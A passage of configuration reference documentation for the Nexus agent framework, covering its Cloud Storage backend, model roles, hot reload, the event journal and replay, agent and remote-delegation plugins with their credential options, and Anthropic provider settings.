credentials_file | A service-account JSON key file, the format gcloud iam service-accounts keys create produces, so the same file works with gcloud and can be mounted as a Kubernetes secret unchanged. Only that credential type is accepted: an external-account (Workload Identity Federation) or impersonation configuration names a URL the auth library will fetch a token from, and accepting one from a path that may have come from a shared config repository would hand an attacker a credential-exfiltration primitive. Those belong on the ambient path below, via GOOGLE_APPLICATION_CREDENTIALS, where an operator opts into them at the environment level. Empty is the production path, and means Application Default Credentials: GOOGLE_APPLICATION_CREDENTIALS, the gcloud well-known file, GKE Workload Identity and the GCE service account via the metadata server, service-account impersonation, and Workload Identity Federation — with expiry-aware refresh and no key material on disk. Nexus neither reorders nor narrows that chain. |
failure_policy | Interpreted by the engine, not by the backend. |
# Google Cloud Storage under GKE Workload Identity — no key material anywhere.
core:
object_store:
backend: gcs
bucket: nexus-sessions
prefix: prod/nexus
# A static service-account key, for somewhere Workload Identity is not available.
core:
object_store:
backend: gcs
bucket: nexus-sessions
credentials_file: ~/.config/nexus/gcs-service-account.json
# An emulator on a laptop. No credentials, no environment variables.
core:
object_store:
backend: gcs
bucket: nexus
endpoint: http://127.0.0.1:4443
Credential resolution, in order. credentials_file if set; otherwise
Application Default Credentials if they resolve; otherwise, if endpoint is
set, an unauthenticated client, logged at warn level, which is the emulator
path — every Cloud Storage emulator is unauthenticated, and doing this from
config is what lets an emulator deployment be described entirely in YAML.
Anything else fails the boot. That last step is deliberately stricter than
the Google SDK, which builds a client happily when it cannot find credentials
and fails at the first request instead; under failure_policy: degrade that
would be a run that starts, looks healthy and persists nothing.
Boot-time validation. A malformed endpoint, a credentials_file that is
not there, and the no-credentials case above all fail the boot naming the key.
Nothing remote is checked, for the same reason the s3 backend checks nothing
remote: failure_policy: degrade exists so an object-store outage degrades a
run rather than ending it, and a boot-time round trip to the bucket would make
it structurally unable to do that.
Object keys mirror the local tree, one key segment per directory, under
prefix — byte for byte the same layout the s3 backend produces. That is a
decision, not a coincidence: a deployment migrating between the two clouds, or
replicating one bucket into the other, can do it with the vendors’ own copy
tools and no translation step. GCS has no directories — the console renders /
as one, but a key is a single flat string — so depth costs nothing, and empty
files are stored as zero-byte objects and restored as empty files. This backend
never writes a zero-byte folder placeholder, so there is nothing to confuse them
with.
One object at a time, synchronously, exactly as s3: Put returns only
once GCS has acknowledged the write, so there is no in-backend queue with a
second retry regime underneath the engine’s own. Two GCS-specific details fall
out of that. Every upload and download is CRC32C-verified end to end by the
SDK, so a successful Put means the bytes in the bucket are the bytes on disk,
not merely that a request returned 200. And uploads and deletes are issued with
the SDK’s RetryAlways policy rather than its default, which would not retry
them at all: an object insert without a precondition is not idempotent in
general, but this backend always writes whole objects and takes last-write-wins,
so a repeated request converges. Without that, a transient 503 would fail a push
that the s3 backend would have retried silently.
Deleting an object that is not there is not an error, matching the seam and
matching s3. GCS itself returns 404 where S3 returns 204; the backend absorbs
the difference, which is what lets the engine retry a delete without
special-casing the second attempt.
core.models
Maps role names → model configurations. Roles can be:
- single model — map with
provider,model,max_tokens, - fallback chain — list of single-model maps (tried in order on
non-retryable error or exhausted retries; coordinated by
nexus.provider.fallback), - fanout role — map with
fanout: trueand aproviders:list (dispatched in parallel bynexus.provider.fanout).
| Key (per role) | Type | Default | Description |
|---|---|---|---|
default | string | balanced | Name of the role used when a request specifies no role. |
<role>.provider | string | (required) | Plugin ID of the LLM provider (e.g. nexus.llm.anthropic). |
<role>.model | string | (required) | Model identifier as understood by the provider. |
<role>.max_tokens | int | (provider default) | Maximum response tokens. |
<role>.fanout | bool | false | If true, treat as fanout role; providers: list is dispatched in parallel. |
<role>.providers | list | (required if fanout: true) | List of model configs for fanout dispatch. |
Example:
core:
models:
default: balanced
reasoning:
provider: nexus.llm.anthropic
model: claude-opus-4-7
max_tokens: 16384
balanced:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-6
max_tokens: 8192
- provider: nexus.llm.openai # fallback
model: gpt-4o
max_tokens: 8192
panel:
fanout: true
providers:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-6
- provider: nexus.llm.gemini
model: gemini-2.5-pro
A role missing from core.models whose name contains a hyphen is treated as a
raw model ID with no provider (backward-compat). Otherwise resolution fails.
Engine
Engine-level resilience knobs that don’t belong under core (which is for
runtime settings like log level and tick interval) and aren’t journal-specific.
engine:
shutdown:
drain_timeout: 30s
config_watch:
enabled: false # opt in to fsnotify hot-reload
debounce: 1s
| Key | Type | Default | Description |
|---|---|---|---|
shutdown.drain_timeout | duration | 30s | Maximum time the engine waits for in-flight bus dispatches to complete on Shutdown before the plugin teardown phase begins. Acts as a floor: a plugin implementing engine.DrainOverride can extend (but not shorten) the effective window so a single batch poller or MCP server can flush without operators bumping the global setting. Sub-second values are accepted but rarely useful. |
config_watch.enabled | bool | false | When true, the CLI starts an fsnotify watcher on the -config path and calls Engine.ReloadConfig on every debounced edit. Default off because production deploys often touch the config file mid-rollout and operators rarely want auto-reload during such windows. SIGHUP and the browser admin endpoint remain available regardless. |
config_watch.debounce | duration | 1s | Window across which fsnotify write/create events on the same file are coalesced into a single reload. Editors commonly fire two or three Write events per save; 1s is well above that storm but short enough that the operator perceives the reload as instant. |
Hot reload
The engine supports applying a new config to a running process without restarting any unaffected plugins. The flow is two-phase:
- Validate phase (atomic). The new config is run through the same
schema validation as boot; capability provider identity is pinned (a
plugin advertising
memory.historycannot be replaced by another provider mid-flight); the diff between current and new active sets is computed. Any failure here returns an error and leaves the engine untouched. - Apply phase (best-effort). The diff is walked: removed plugins
shut down, in-place reloaders accept their new config, restart-only
plugins are torn down and re-initialized, and added plugins run the
full lifecycle. Engine-level fields (
drain_timeout,config_watch) are swapped atomically before per-plugin work.
A reload that fails midway through the apply phase logs the error and
surfaces it to the caller; the engine is left in a best-effort consistent
state. True rollback is not attempted because “undoing” a Shutdown is
not generally possible.
Triggers:
SIGHUPto the CLI process re-reads the original-configpath and applies the result. (SIGINTandSIGTERMcontinue to terminate the engine.)POST /admin/reload-configon the browser plugin’s HTTP server. Body is empty (re-read original path) or{"path": "/abs/path/to/new.yaml"}for ad-hoc paths. No auth layer yet — alpha-only; front with a reverse proxy if exposed.fsnotifywatcher on the original path. Off by default; opt in viaengine.config_watch.enabled: true. Debounced byengine.config_watch.debounceto absorb editor save bursts.
Plugin opt-in: ConfigReloader. A plugin that implements
type ConfigReloader interface {
ReloadConfig(old, new map[string]any) error
}
receives the in-place hook on a config-only change instead of going
through Shutdown → Init → Ready. Implementations must be
transactional from the bus’s perspective: returning an error must leave
the plugin in its prior state. Plugins that don’t implement the
interface go through the full restart path; both work, the in-place
hook is just an optimization for plugins where a restart would drop
in-progress work (active streams, bound listeners) the operator would
notice.
Capability provider identity is pinned. Hot-reload rejects any
config change that would resolve a currently-bound capability (e.g.
memory.history) to a different concrete provider. The session has
in-flight state bound to the existing provider; a silent swap would
strip the operator’s history. Restart the engine to change capability
providers.
Journal
The journal is the engine’s always-on durable event log. Every dispatched
bus event lands as a JSONL envelope at
<sessions.root>/<session_id>/journal/events.jsonl with a monotonic per-
session sequence number, the parent dispatch’s seq (best-effort), and the
veto outcome for before:* events. The journal cannot be disabled — it is
core infrastructure underpinning crash recovery, deterministic replay, and
observability projections.
journal:
fsync: turn-boundary # turn-boundary | every-event | none
retain_days: 30
rotate_size_mb: 4
exclude_events: # event types the journal must not record
- core.tick
| Key | Type | Default | Description |
|---|---|---|---|
fsync | string | turn-boundary | Disk-flush policy. turn-boundary fsyncs once per agent.turn.end (good throughput, recovers to last completed turn). every-event fsyncs after every envelope (strongest crash guarantee). none skips explicit fsync (test-only). |
retain_days | int | 30 | Age in days past which a session’s journal directory is removed on engine boot. 0 disables sweeping. In-flight sessions are never touched. |
rotate_size_mb | int | 4 | Active segment size threshold (MiB). When agent.turn.end lands and the active segment exceeds this, it is compressed into events-NNN.jsonl.zst and the active segment is truncated. |
exclude_events | []string | ["core.tick"] | Event types the journal must not record. Excluded events still dispatch to bus subscribers (otel, eval, custom plugins); only the durable log skips them, and their seq is not consumed so on-disk envelopes stay gap-free. Default suppresses the engine heartbeat. Set to [] to record everything. |
Disk layout
~/.nexus/sessions/<id>/journal/
header.json # schema_version, created_at, fsync_mode, session_id
events.jsonl # active segment (append-only)
events-001.jsonl.zst # rotated, zstd-compressed
events-002.jsonl.zst
cache/ # args-keyed tool result cache
<tool_id>/
<sha256>.json # one file per (tool, canonical_args) pair
Tool result cache
Every tool.invoke / tool.result pair is recorded under journal/cache/
keyed by sha256(tool_id || canonical_args). During replay, the
short-circuit helper consults the cache first — same args produce the
same result regardless of dispatch order, so replay survives memory-state
divergence between the original and replay runs. On cache miss, the
helper falls back to the FIFO stash seeded by the coordinator from the
journal’s tool.result events.
The canonical args hash sorts keys recursively, so two semantically equivalent argument maps with different key iteration order map to the same cache file.
Journal projections
Plugins that need to derive files from event streams register a
projection via Journal.SubscribeProjection(types, handler). The
handler fires on the writer’s drain goroutine after the envelope lands
on disk, so derived files always lag the durable record by zero
envelopes. Projections also drive post-mortem regeneration:
journal.ProjectFile(dir, types, handler) walks an existing journal
and feeds the same handler — a derived file deleted between runs will
rebuild from the journal at the next boot.
The shipped nexus.observe.thinking plugin no longer uses this hook
itself: its thinking.step and plan.progress events are already in
the journal alongside every other event, so the plugin acts purely as
a UI feature flag for shells that want to surface thinking. Custom
plugins that need their own derived view should adopt the projection
pattern.
Deterministic replay
bin/nexus -config <path> -replay <session-id> re-runs a journaled session
without external calls. The Anthropic / OpenAI / Gemini providers and the
side-effecting tools (shell, file, code_exec, web, pdf, ask_user),
along with the nexus.control.hitl plugin’s hitl.responded events,
detect replay mode and emit the next journaled llm.response /
tool.result from a FIFO stash seeded from the source journal in seq
order. The replay coordinator drives io.input events; the live agent
loop reacts as if the inputs were fresh.
Replay produces functional equivalence (same final assistant outputs,
same memory state) rather than byte-identical event re-emission. Side-
effecting plugins expose a LiveCalls() counter that stays at zero
during replay — tests assert this to catch regressions.
Crash recovery
bin/nexus -config <path> -recall <session-id> resumes a session whose
journal ended mid-turn. The engine detects the partial turn via
coord.IsPartialTurn(), restores conversational memory from
context/conversation.jsonl, and re-emits the io.input that started
the unfinished turn so the live ReAct loop restarts it.
Phase 3 minimum: the partial turn restarts from scratch rather than
mid-step resume. Mid-step resume (replay-stash-short-circuit the
completed prefix, then live-fire the unanswered tool.invoke) is a
future PR. Re-firing the input after a crash mints fresh seqs that
append to the same journal alongside the orphaned partial-turn events;
a subsequent --replay of a crash-resumed session sees both the
orphaned and the re-fired io.input.
Plugin activation
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.agent.subagent/researcher # multi-instance suffix
- nexus.agent.subagent/writer
Each entry in active may be followed by /<instance> to register a second
copy of a multi-instance plugin (e.g. subagents). The base plugin ID + instance
suffix forms the full ID used for per-plugin config:
plugins:
nexus.agent.subagent/researcher:
model_role: reasoning
tool_name: spawn_researcher
A plugin with no configuration still parses cleanly without an explicit entry, but you may declare an empty map for clarity:
plugins:
nexus.tool.file: {}
nexus.observe.thinking: {}
Agents
nexus.agent.react
Source: plugins/agents/react/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
planning | bool | false | Emit plan.request before iterating; defers to a planner plugin. |
model_role | string | (default) | Role name from core.models. |
system_prompt | string | (none) | Inline system prompt (overrides system_prompt_file). |
system_prompt_file | string | (none) | Path to file containing the system prompt. |
parallel_tools | bool | false | Run multiple tool calls from a single LLM response in parallel. |
max_concurrent | int | 4 | Concurrency ceiling when parallel_tools: true. |
tool_choice | string | map | (none) | Constrain tool selection. See “Tool choice” below. |
Iteration limits are not an agent setting — enforce them with
nexus.gate.endless_loop. ReAct’s required capabilities (memory.history,
control.cancel, tool.catalog) are auto-activated by Requires() when no
provider for those capabilities is already in plugins.active.
Tool choice
tool_choice accepts:
- a string shorthand —
tool_choice: required(orauto,any,none), - a map —
tool_choice: { mode: tool, name: read_file }, - a sequence —
tool_choice: { sequence: [{ mode: required }, { mode: auto }] }applied per iteration; the last entry sticks.
Dynamic overrides arrive via agent.tool_choice events with duration: once
(consumed after one iteration) or sticky (until cleared).
nexus.agent.planexec
Source: plugins/agents/planexec/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
execution_model_role | string | balanced | Role used to execute each step. |
replan_on_failure | bool | true | Re-plan remaining work when a step fails (max 2 replans). |
approval | string | never | Plan approval mode: always (block until user approves) or never. |
system_prompt | string | (none) | Inline system prompt. |
system_prompt_file | string | (none) | Path to file containing the system prompt. |
Step iteration and step counts are managed internally by the planner plugin
that emits plan.result; they are not configured here.
nexus.agent.subagent
Source: plugins/agents/subagent/plugin.go. Multi-instance: register multiple
copies via nexus.agent.subagent/<suffix>.
| Key | Type | Default | Description |
|---|---|---|---|
model_role | string | (default) | Role used for the subagent’s LLM calls. |
system_prompt | string | (none) | Inline system prompt. |
system_prompt_file | string | (none) | Path to file containing the system prompt. |
tool_name | string | spawn_<suffix> or spawn_subagent | Name of the spawn tool registered with the catalog. |
tool_description | string | (auto) | Description shown to the parent agent. |
Depends on nexus.agent.react.
nexus.agent.orchestrator
Source: plugins/agents/orchestrator/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
max_workers | int | 5 | Concurrency cap for worker subagents. |
max_subtasks | int | 8 | Hard cap on subtasks (excess truncated). |
worker_max_iterations | int | 10 | Iteration limit per worker (enforced via gate.endless_loop). |
orchestrator_model_role | string | reasoning | Role used for decomposition. |
worker_model_role | string | balanced | Role used by workers. |
synthesis_model_role | string | balanced | Role used for the final synthesis. |
fail_fast | bool | false | Cancel remaining workers on the first failure. |
system_prompt | string | (none) | Inline system prompt. |
system_prompt_file | string | (none) | Path to file containing the system prompt. |
Depends on nexus.agent.subagent.
nexus.agent.postures
Source: plugins/agents/postures/plugin.go. Loads AgentPosture YAML files
from the configured directories and advertises the posture.registry
capability consumed by nexus.agent.delegate. fsnotify watches each directory
for live edits; active sub-sessions keep their old posture, new invocations
resolve the new one. See Postures for the
AgentPosture schema.
| Key | Type | Default | Description |
|---|---|---|---|
scan_dirs | []string | [] | Directories scanned for *.yaml / *.yml posture files. Each entry runs through engine.ExpandPath so ~ expands. |
debounce_ms | int | 250 | fsnotify reload debounce in milliseconds. |
nexus.agent.delegate
Source: plugins/agents/delegate/plugin.go. Exposes the delegate tool that
the LLM calls to invoke a registered posture. Requires the posture.registry
capability (typically provided by nexus.agent.postures). Enforces budgets
and recursion depth defined on each posture; results cached by posture
version + task + context hash so posture edits invalidate stale entries.
See Sub-agent delegation.
| Key | Type | Default | Description |
|---|---|---|---|
max_depth | int | 3 | Hard cap on sub-agent recursion depth across all postures. Individual postures may set a lower cap via max_recursion_depth. |
cache_size | int | 256 | Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction; the cache grows unbounded. |
cache | bool | true | Set false to disable result caching entirely. |
nexus.agent.agui_remote
Source: plugins/agents/aguiremote/plugin.go. Surfaces one or more remote
AG-UI agents as delegate/subagent targets. Each configured agent registers an
LLM-facing tool (default delegate_agui_<name>); when the parent agent calls
it, the plugin builds an AG-UI RunAgentInput from the delegated task, runs the
remote agent over the AG-UI wire (HTTP POST + SSE) via the reusable AG-UI
client, maps the remote run’s event stream onto the Nexus bus (text deltas →
io.output; tool activity + message boundaries → subagent.*), and returns the
remote run’s terminal outcome as the tool result. Failures (remote RunError,
timeout, transport error, auth rejection, unresolved interrupt) surface as a
clean tool error. Per-call timeout enforces budget; results are cached by
endpoint + task + context hash. See Sub-agent delegation.
| Key | Type | Default | Description |
|---|---|---|---|
agents | list | (required) | Non-empty list of remote AG-UI agents to expose. Each entry is a mapping (see below). |
timeout_seconds | int | 120 | Default per-call timeout (seconds) applied to every remote agent. Overridable per agent and per call. |
cache_size | int | 128 | Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction; the cache grows unbounded. |
cache | bool | true | Set false to disable result caching entirely. |
Each agents[] entry:
| Key | Type | Default | Description |
|---|---|---|---|
name | string | (required) | Human-friendly identifier; used to derive the default tool name. |
endpoint | string | (required) | Full AG-UI POST endpoint URL (e.g. https://host/agui). |
tool_name | string | delegate_agui_<name> | Override the LLM-facing tool name. |
description | string | (auto) | Override the tool description shown to the LLM. |
bearer_token | string | (none) | Static bearer token for the Authorization header. Prefer bearer_token_env. |
bearer_token_env | string | (none) | Name of an environment variable holding the bearer token. Read at Init; used only when bearer_token is unset. |
timeout_seconds | int | (plugin default) | Per-agent default timeout (seconds), overriding the plugin-level timeout_seconds. |
nexus.agent.a2a_remote
Source: plugins/agents/a2aremote/. The outbound half of Nexus’s
A2A interoperability: where
nexus.io.a2a serves this instance as an A2A agent, this plugin
lets a Nexus agent call remote A2A agents. Each configured remote registers one
LLM-facing tool (default delegate_a2a_<name>); a call sends the delegated task
over the A2A wire through pkg/a2a/a2aclient, and folds the remote task’s final
text and artifacts back into the tool result under XML tag boundaries.
Remotes come from configuration only — the tool schema exposes no URL, host or endpoint parameter, so a model cannot point the instance at an arbitrary address. See Remote A2A Agents.
Each remote’s Agent Card is fetched lazily, on first use, never at boot: an
unreachable remote must not be able to fail engine startup. Until the card
resolves the tool carries the configured description; the first successful call
replaces it with a description built from the card’s own skills and
re-registers the tool once.
Every failure — unreachable card, refused binding, protocol error, dead stream,
exhausted budget, a task that ends FAILED — becomes a clean tool.result
error, never an engine-level failure.
A remote that parks at INPUT_REQUIRED is not a failure: the question is
raised on the local bus as hitl.requested, the human’s answer resumes the
remote task with the same taskId and contextId, and the delegation carries on.
The delegating model never sees the question. See the hitl block below.
| Key | Type | Default | Description |
|---|---|---|---|
agents | list | (required) | Non-empty list of remote A2A agents to expose. Each entry is a mapping (see below). |
cache | bool | true | Set false to disable result caching entirely. |
cache_size | int | 128 | Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction. |
max_depth | int | 3 | Hard cap on delegation depth across all remotes. Zero disables the cap. A posture’s max_recursion_depth may narrow it further. |
binding | string | jsonrpc | Default protocol binding. One of jsonrpc, json-rpc, http+json, rest. |
validate_card | bool | true | Default for checking a fetched Agent Card against the specification’s required fields. |
stream | bool | true | Default for using the streaming operation. false forces a blocking SendMessage. |
timeout | duration | 5m | Default whole-call deadline covering discovery, the message and the stream. |
request_timeout | duration | 60s | Default deadline for a control-plane call (Agent Card fetch, GetTask, CancelTask). "0s" disables it. |
message_timeout | duration | 0s | Default deadline for a non-streaming SendMessage. Zero means none — a blocking send legitimately takes as long as the remote’s work does. |
stream_open_timeout | duration | 30s | Default deadline for a streaming call’s response headers. "0s" disables it. |
stream_idle_timeout | duration | 5m | Default bound on total silence on an open stream. "0s" disables it. |
progress | bool | true | Republish a remote run’s incremental progress onto the local bus as io.output and subagent.iteration, so a long delegation is visible to the TUI, browser, AG-UI and A2A-serve transports. |
hitl | map | (see below) | Chained human-in-the-loop policy for a remote that parks at INPUT_REQUIRED. |
extensions | list | (the Nexus extension) | A2A protocol extension URIs to request via the A2A-Extensions service parameter. A server activates only what a client asked for. Defaults to the Nexus extension URI, because this plugin consumes a remote Nexus instance’s telemetry to republish its progress; a remote that does not know the extension ignores the header. Set [] to request none. |
retry | map | (see below) | Default retry policy for outbound calls. |
Every key from binding down is a default; each agents[] entry may
override it. An agent-level extensions list replaces the inherited one
wholesale rather than merging, so an empty list means “declare none”.
Each agents[] entry:
| Key | Type | Default | Description |
|---|---|---|---|
name | string | (required) | Human-friendly identifier; used to derive the default tool name. |
base_url | string | (required*) | Base URL the remote is served under — the origin and optional path prefix, not an operation endpoint. The Agent Card is fetched from /.well-known/agent-card.json beneath it. Required unless jsonrpc_endpoint or rest_endpoint pins an endpoint. |
jsonrpc_endpoint | string | (none) | Pin the JSON-RPC endpoint URL, skipping Agent Card discovery for it. |
rest_endpoint | string | (none) | Pin the HTTP+JSON base URL — the prefix operation paths hang off, not one operation URL. |
tool_name | string | delegate_a2a_<name> | Override the LLM-facing tool name. The default lowercases name and collapses non-alphanumeric runs to _. |
description | string | (auto) | Tool description used until the Agent Card resolves. Once it does, the description is rebuilt from the card’s own skills. |
posture | string | (none) | Registered AgentPosture supplying this remote’s timeout and recursion-depth cap. Requires the posture.registry capability (nexus.agent.postures). |
binding | string | (plugin default) | Per-agent override. |
validate_card | bool | (plugin default) | Per-agent override. |
stream | bool | (plugin default) | Per-agent override. |
timeout | duration | (plugin default) | Per-agent override. |
request_timeout | duration | (plugin default) | Per-agent override. |
message_timeout | duration | (plugin default) | Per-agent override. |
stream_open_timeout | duration | (plugin default) | Per-agent override. |
stream_idle_timeout | duration | (plugin default) | Per-agent override. |
progress | bool | (plugin default) | Per-agent override. |
hitl | map | (plugin default) | Per-agent override, key by key: a block setting only enabled leaves input_timeout and max_rounds inherited. |
extensions | list | (plugin default) | Per-agent override; replaces rather than merges. |
retry | map | (plugin default) | Per-agent override. |
credentials | map | (none) | Credential this instance presents to this remote. Per agent only — see below. |
The hitl block, at either level:
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Route a remote’s INPUT_REQUIRED question to a human via hitl.requested, and resume the remote task with the answer. false restores the pre-chaining behaviour: a parked task becomes a clean tool error carrying the question. |
input_timeout | duration | 15m | Deadline for one question waiting on a human. The outbound twin of nexus.io.a2a’s tasks.input_timeout. "0s" removes this deadline specifically. |
max_rounds | int | 4 | How many times one delegated call may bounce a question back to the human. 0 removes the cap. |
Two deadlines run while a task is parked, and the earlier one wins. The
whole-call timeout keeps running — a remote waiting on a human is still work
this session authorized, and pausing the budget is how an unanswered question
pins a session for ever — and hitl.input_timeout bounds the individual
question. With the 5m default timeout the call budget expires first, so
input_timeout only bites once timeout is raised; an operator who expects a
remote to ask questions should raise both. Whichever fires, the outcome is the
same and the tool error names the deadline that fired: the question is retracted
with hitl.cancel, the remote task is cancelled with CancelTask, and the
delegating model is told the question went unanswered and told not to answer it
itself.
AUTH_REQUIRED is deliberately not routed to a human — no answer a person
types into a chat is a credential — and reports that the agent’s credentials
need configuring.
Anything a human answered is never cached. A person’s answer is a decision made at a moment, and replaying it for a later identical task would apply that decision again without asking.
The credentials block exists only inside an agents[] entry. There is
deliberately no plugin-level default: a default credential silently applied to a
remote added later is how a token reaches a host it was never issued for.
Everything a credentials block can be wrong about is checked at Init: an
unset environment variable, a key belonging to a different type, an unreadable
or mismatched client certificate, or an OAuth2 remote with no way to reach a
token endpoint each fail boot with a message naming the agent and the key — not
a 401 on the first delegation. No credential value is ever logged, on any
path, including failures.
| Key | Type | Default | Description |
|---|---|---|---|
type | string | (required) | One of none, bearer, oauth2_client_credentials, mtls. The types are mutually exclusive; a key belonging to another type is rejected at boot. |
type: bearer — a static token, following the same api_key / api_key_env
convention the LLM providers use:
| Key | Type | Default | Description |
|---|---|---|---|
token | string | (none) | The token, inline. Takes precedence over token_env when both are set. Prefer token_env; an inline secret lives in the config file. |
token_env | string | (none) | Name of an environment variable holding the token. Read once at Init; a variable that is unset or empty fails boot. |
header | string | Authorization | Header the token rides in. |
scheme | string | Bearer | The scheme word before the token. Set it to "" to send the bare token, which is what an X-Api-Key style header wants. |
type: oauth2_client_credentials — the RFC 6749 §4.4 machine-to-machine grant,
implemented over net/http (no golang.org/x/oauth2 dependency). The token is
cached and refreshed ahead of expiry, and a burst of concurrent calls triggers
one token request, not one per caller:
| Key | Type | Default | Description |
|---|---|---|---|
client_id | string | (none) | The client id, inline. Prefer client_id_env. |
client_id_env | string | (none) | Name of an environment variable holding the client id. |
client_secret | string | (none) | The client secret, inline. Prefer client_secret_env. |
client_secret_env | string | (none) | Name of an environment variable holding the client secret. |
token_url | string | (discovered) | The token endpoint. Optional when the agent has a base_url: it is then discovered from the card’s oauth2 clientCredentials flow on first use. Required for an agent that pins jsonrpc_endpoint/rest_endpoint instead, since there is no card to discover it from. |
scopes | list | (none) | Scopes requested in the token request, joined with spaces. Not defaulted from the card: requesting every scope a remote advertises is broader than any deployment needs. |
audience | string | (none) | Value of the widely-supported (non-standard) audience parameter. Sent only when set. |
auth_style | string | basic | How the client authenticates to the token endpoint. basic is HTTP Basic per RFC 6749 §2.3.1; body puts client_id/client_secret in the form body, for a server that only accepts that. |
refresh_leeway | duration | 30s | How far ahead of the stated expiry a token is replaced. Clamped to half the token lifetime when the lifetime is shorter than the leeway. A server that omits expires_in is assumed to have issued a 60-second token. |
One id/secret pair is required: set client_id or client_id_env, and
client_secret or client_secret_env. When token_url is being discovered
from the card, the well-known Agent Card fetch — and only that fetch — goes out
unauthenticated, because the token cannot be obtained before the endpoint that
issues it is known. Specification §8.2 makes the well-known card a public
document; a remote that protects its card wants token_url set explicitly.
type: mtls — client-certificate authentication, wired into the
http.Transport. Every path is resolved through the engine’s ~ expansion and
read at Init:
| Key | Type | Default | Description |
|---|---|---|---|
cert_file | string | (required) | Path to the PEM client certificate. |
key_file | string | (required) | Path to the PEM private key matching cert_file. |
ca_file | string | (system roots) | Path to a PEM bundle used to verify the remote’s certificate, for a private CA. |
server_name | string | (from the URL) | Override the TLS server name used for SNI and certificate verification, for a remote reached by an address its certificate does not name. |
On the first call to a remote — never at boot, since the card is fetched
lazily — the configured credential is compared against the card’s
securitySchemes, and an obvious mismatch (a bearer token against a card
declaring only mutualTls, say) logs one warning. It warns rather than
refuses: a card’s securitySchemes block is optional and routinely incomplete,
and refusing on that evidence would break working deployments over a
documentation defect.
The retry block, at either level:
| Key | Type | Default | Description |
|---|---|---|---|
max_attempts | int | 3 | Total attempts including the first. 1 disables retrying. |
base_delay | duration | 200ms | Delay before the second attempt; doubles thereafter. |
max_delay | duration | 5s | Cap on the computed backoff. A longer Retry-After from the server is still honoured in full. |
Reads are retried on transport failures and 502/504; every operation is
retried on 429/503. A message send is never retried on a transport
failure, because A2A defines no idempotency key and a blind retry would run the
remote’s work twice.
Every duration key is a duration string ("90s", "5m", "1h30m"), never a
bare number: timeout: 600 reads as ten minutes to an operator and six hundred
nanoseconds to Go, so a bare number is rejected rather than guessed at.
Timeout precedence for one call, first match wins: the tool’s
timeout_seconds argument → the agent’s posture budget timeout → the
timeout key (agent-level, else plugin-level) → the 5m built-in default.
Posture budgets. Only two dimensions of an AgentPosture cross an A2A
boundary — default_budget.timeout and max_recursion_depth — because the
protocol gives a client no control over the remote’s token or tool-call spend.
A posture whose default_budget sets max_tokens or max_tool_calls is
refused for a remote agent rather than half-honoured, and the call fails with
an error naming the key.
Caching. Successful outcomes are cached in the LRU under a content hash of (remote identity, posture version, task, canonicalized context). Failures are never cached, so a remote that was briefly down is retried rather than replayed, and neither is any outcome a human answered a question for.
Cancellation. cancel.active — the event nexus.control.cancel emits once a
cancellation is happening — retracts any question this plugin put in front of a
human, issues CancelTask to every remote task in flight, and aborts the calls.
The same abandonment runs on the ordinary exits too: if this instance walks away
from a remote task that has not reached a terminal state, it tells the remote.
nexus.scene
Source: plugins/scene/plugin.go. Owns the per-session Scene store and
registers the scene_create / scene_patch / scene_get / scene_list /
scene_delete tools. Every patch is journaled to
<session>/plugins/nexus.scene/scenes.jsonl so the replay primitive can
reconstruct historical scene state. See Scenes.
No config keys today; activate the plugin in plugins.active and the
default tools register at boot.
LLM providers
All providers share the same retry block schema (see “Retry” subtable below).
nexus.llm.anthropic
Source: plugins/providers/anthropic/plugin.go + auth.go, pricing.go,
cache.go, thinking.go, multimodal.go, citations.go,
structured_outputs.go, files.go, retry.go.
| Key | Type | Default | Description |
|---|---|---|---|
debug | bool | false | Persist request/response bodies to the session for debugging. |
auth_mode | string | api_key | One of api_key, bedrock, vertex. |
api_key | string | (env) | Direct API key (used when auth_mode: api_key). |
api_key_env | string | ANTHROPIC_API_KEY | Environment variable to read the API key from. |
bedrock.region | string | (env AWS_REGION) | AWS region for Bedrock. |
bedrock.access_key_id | string | (env AWS_ACCESS_KEY_ID) | AWS access key. |
bedrock.access_key_id_env | string | AWS_ACCESS_KEY_ID | Override the env var name. |
bedrock.secret_access_key | string | (env AWS_SECRET_ACCESS_KEY) | AWS secret. |
bedrock.secret_access_key_env | string | AWS_SECRET_ACCESS_KEY | Override the env var name. |
bedrock.session_token | string | (env AWS_SESSION_TOKEN) | Optional STS session token. |
bedrock.session_token_env | string | AWS_SESSION_TOKEN | Override the env var name. |
vertex.project / project_id | string | (env GOOGLE_CLOUD_PROJECT) | GCP project. |
vertex.region / location | string | us-east5 | Vertex region. |
vertex.sa_key_file / service_account_json | string | (env GOOGLE_APPLICATION_CREDENTIALS) | Path to the service-account JSON. |
vertex.sa_key_file_env / service_account_json_env | string | GOOGLE_APPLICATION_CREDENTIALS | Override the env var name. |
cache.enabled | bool | false | Enable prompt caching. |
cache.system | bool | true | Mark the system prompt for caching when enabled. |
cache.tools | bool | true | Mark the tools array for caching when enabled. |
cache.message_prefix | int | 0 | Number of leading user messages to mark for caching. |
cache.ttl | string | 5m | Cache TTL: 5m (ephemeral) or 1h (extended). |
thinking.enabled | bool | false | Enable extended thinking (Sonnet 4+, Opus 4+). |
thinking.budget_tokens | int | 8192 | Thinking token budget; -1 for dynamic, 0 to disable, 1024+ fixed. |
thinking.include_thoughts | bool | true | Surface thinking content via thinking.step events. |
multimodal.pdf_beta | bool | false | Send the pdfs-2024-09-25 beta header for legacy PDF support. |
citations.enabled | bool | false | Enable citations on document blocks. |
structured_outputs.mode | string | tool | tool (synthetic tool) or native (response_format). |
structured_outputs.beta_header | string | (none) | Optional beta header when mode: native. |
files.enabled | bool | false | Use the Anthropic Files API for oversize attachments. |
files.upload_threshold | int | 40960 | Minimum bytes before a file is uploaded; smaller files are inlined. |
files.cache_uploads | bool | true | Deduplicate identical uploads within a session. |
files.delete_on_shutdown | bool | false | Delete uploaded files when the engine shuts down. |
retry.* | — | (see Retry block) | Backoff configuration. |
pricing.<model>.* | map | (embedded table) | Override per-model token pricing — see “Pricing override”. |
Retry block (shared by all providers)
| Key | Type | Default | Description |
|---|---|---|---|
